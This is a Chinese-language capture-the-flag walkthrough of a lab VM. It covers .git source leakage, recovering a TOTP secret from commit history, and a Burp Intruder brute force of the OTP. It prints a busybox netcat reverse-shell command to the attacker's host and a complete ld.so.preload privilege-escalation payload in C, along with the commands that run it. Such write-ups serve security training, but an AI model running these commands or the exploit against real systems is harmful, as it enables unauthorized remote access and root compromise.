



一、信息收集

1. 主机发现与端口扫描

首先在本地网络中使用 `arp-scan` 确定目标主机的IP地址，随后利用 `nmap` 对其进行全端口扫描，以识别开放的服务。

主机发现:

```
(kali㉿kali)-[~]
└─$ sudo arp-scan -l
...
192.168.205.135 08:00:27:03:7d:ae      PCS Systemtechnik GmbH
...
```

端口扫描:

```
(kali㉿kali)-[~]
└─$ nmap -p- 192.168.205.135
...
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
...
```

扫描结果表明，目标主机IP为 `192.168.205.135`，开放了 **22 (SSH)** 和 **80 (HTTP)** 端口。

2. Web服务侦察

访问80端口的Web服务，发现是一个要求输入Google OTP（动态口令）的登录页面。这表明身份验证是进入系统的首要障碍。

二、漏洞发现与利用

1. 发现 .git 源码泄露

针对Web目录进行深度扫描，发现存在一个公开的 `.git` 目录。这是一个严重的信息泄露漏洞，意味着整个Web应用的源代码和版本控制历史都可能被获取。

```
└─(kali㉿kali)-[~]
└─$ dirsearch -u http://192.168.205.135
...
[00:31:43] 301 - 317B - /.git -> http://192.168.205.135/.git/
...
```

2. 还原Git仓库并审计历史记录

使用 `git-dumper` 工具将泄露的 `.git` 仓库完整地下载到本地。

```
└─(kali㉿kali)-[/tmp]
└─$ git-dumper http://192.168.205.135 .
...
[-] Running git checkout .
从索引区更新了 1 个路径
```

进入还原后的仓库目录，使用 `git log -p` 命令审查提交历史。在历史记录中发现了一个关键线索：开发人员曾将一个字符串作为注释添加到了 `index.php` 文件中，随后又在下一次提交中将其删除。

```
└─(kali㉿kali)-[/tmp]
└─$ git log -p
...
commit 189e0034eedd9d026e9d691c9782c72ee51940a1
Author: Your Name <you@example.com>
...
-<!-- 3XKWRL4MDQ5YYPZSYBPDGFLHFA -->

commit 3dc42d3b5f90552544550d2e09b661fcb114bfe4
Author: Your Name <you@example.com>
...
+<!-- 3XKWRL4MDQ5YYPZSYBPDGFLHFA -->
...
```

这个被添加后又删除的字符串 `3XKWRL4MDQ5YYPZSYBPDGFLHFA` 符合Base32编码格式，极有可能是用于生成Google Authenticator动态口令的**共享密钥 (TOTP Secret Key)**。

3. 初始访问：利用TOTP密钥登录

利用在线TOTP生成工具（如 <https://totp.skae.top/>），将获取到的密钥输入，即可实时生成有效的6位动态口令。

使用生成的动态口令成功登录系统，进入一个后台的Web Shell（命令执行窗口）。

4. 获取稳定Shell

Web Shell 使用起来极为不便，因此通过执行反向shell命令，在本地Kali攻击机上获取一个稳定的、交互式的 `www-data` 用户权限Shell。

本地监听:

```
└─(kali㉿kali)-[~]  
└─$ nc -lvp 8888
```

Web Shell中执行:

```
busybox nc 192.168.205.128 -e /bin/bash
```

成功接收到反弹shell后，通过 `script` 和 `stty` 等命令将其升级为功能完整的TTY终端。

三、权限提升

1. 发现提权向量

在获取 `www-data` shell后，上传并运行自动化Linux提权检查脚本 `linpeas.sh`。分析其输出报告，发现一个致命的配置错误。

```
===== Checking misconfigurations of ld.so  
📖 https://book.hacktricks.wiki/en/linux-hardening/privilege-  
escalation/index.html#ldso  
...  
You have write privileges over /etc/ld.so.preload
```

`www-data` 用户对 `/etc/ld.so.preload` 文件拥有写入权限。该文件用于指定在任何程序运行前需要预加载的动态链接库。这是一个经典的、高成功率的Linux提权向量。

2. 利用 `ld.so.preload` 实现提权

1. **编写恶意代码:** 在 `/tmp` 目录下创建一个名为 `exp.c` 的C语言文件，其功能是在库被加载时，将当前进程的权限提升为root，并启动一个bash shell。

```
#include <stdio.h>  
#include <sys/types.h>  
#include <unistd.h>  
#include <stdlib.h>  
  
void __attribute__((constructor)) init() {  
    unlink("/etc/ld.so.preload");
```

```
setgid(0);
setuid(0);

execl("/bin/bash", "bash", "--norc", "--noprofile", NULL);

execl("/bin/sh", "sh", NULL);
}
```

2. **编译共享库**: 使用 `gcc` 将C代码编译成一个共享库文件 `exp.so`。

```
www-data@xuanji:/tmp$ gcc -fPIC -shared -o exp.so exp.c -nostartfiles
```

3. **触发Payload**: 将我们恶意共享库的路径写入 `/etc/ld.so.preload` 文件。

```
www-data@xuanji:/tmp$ echo "/tmp/exp.so" > /etc/ld.so.preload
```

4. **激活提权**: 执行任何一个以root权限运行的SUID程序（如 `sudo`）来触发预加载。

```
www-data@xuanji:/tmp$ sudo -l
```

该命令会立即被我们预加载的库劫持，从而以root权限执行 `exp.so` 中的代码。

3. 夺取旗帜

成功获取 `root` 权限的shell后，直接读取用户和根目录下的旗帜文件。

```
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
bash-5.0# cat /root/root.txt /home/ahiz/user.txt
flag{root-076ffb6ef92e5709fc8eda05872419e5}
flag{user-60b725f10c9c85c70d97880dfe8191b3}
```

渗透测试完成。

题外话

Google OTP那里，你可以做一回爆破仙人，已知Google OTP是6位数字，30s更新一次

所以直接爆破，有极大概率爆破的出来

① Payload集

您可以定义一个或多个payload集。payload集的数量取决于“位置”选项卡中定义的攻击类型。每个payload集可以使用各种payload 类型，并且可以以各种方式定制每种payload类型。

Payload集: 1

Payload数量: 1,000,000

Payload类型: 数值

请求数量: 1,000,000

② Payload settings [Numbers]

生成给定范围内指定格式的有效数值内容。

数字范围

类型: ☒ Sequential ☐ 随机

从: 000000

到(To): 999999

间隔: 1

数量:

数值格式

基数(Base): ☒ 十进制 ☐ Hex

整数最小位数: 6

整数最大位数: 6

小数最小位数: 0

小数最大位数: 0

示例

000001

654321

3. Intruder attack of http://192.168.205.135

攻击 保存 帮助

结果	位置	payload	资源池	设置			
Intruder attack results filter: 显示所有项目							
请求	payload	状态码	接收到响应	错误	超时	长度	注释
293330	293329	302	0			341	
551	000550	200	6			5579	
596	000595	200	2			5579	
606	000605	200	6			5579	
616	000615	200	4			5579	
618	000617	200	2			5579	
673	000672	200	3			5579	
1261	001260	200	5			5579	
1304	001303	200	6			5579	
1306	001305	200	5			5579	
1307	001306	200	7			5579	
1321	001320	200	2			5579	
1322	001321	200	9			5579	
1374	001373	200	5			5579	
1983	001982	200	3			5579	
2021	002020	200	2			5579	
2041	002040	200	2			5579	
2043	002042	200	6			5579	
2089	002088	200	6			5579	
>next	<prev					5579	
请求	响应						
美化	Raw	Hex					
1 POST /login.php HTTP/1.1							
2 Host: 192.168.205.135							
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0							
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8							
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2							
6 Accept-Encoding: gzip, deflate, br							
7 Content-Type: application/x-www-form-urlencoded							
8 Content-Length: 10							
9 Origin: http://192.168.205.135							
10 Connection: keep-alive							
11 Referer: http://192.168.205.135/login.php							
12 Cookie: PHPSESSID=0agdl73jfcufu3386ssviqutkb							
13 Upgrade-Insecure-Requests: 1							
14 Priority: u=0, i							
15							
16 otps293329							

已暂停

Search

0/0

这是也是一个办法，当然这是非常规思路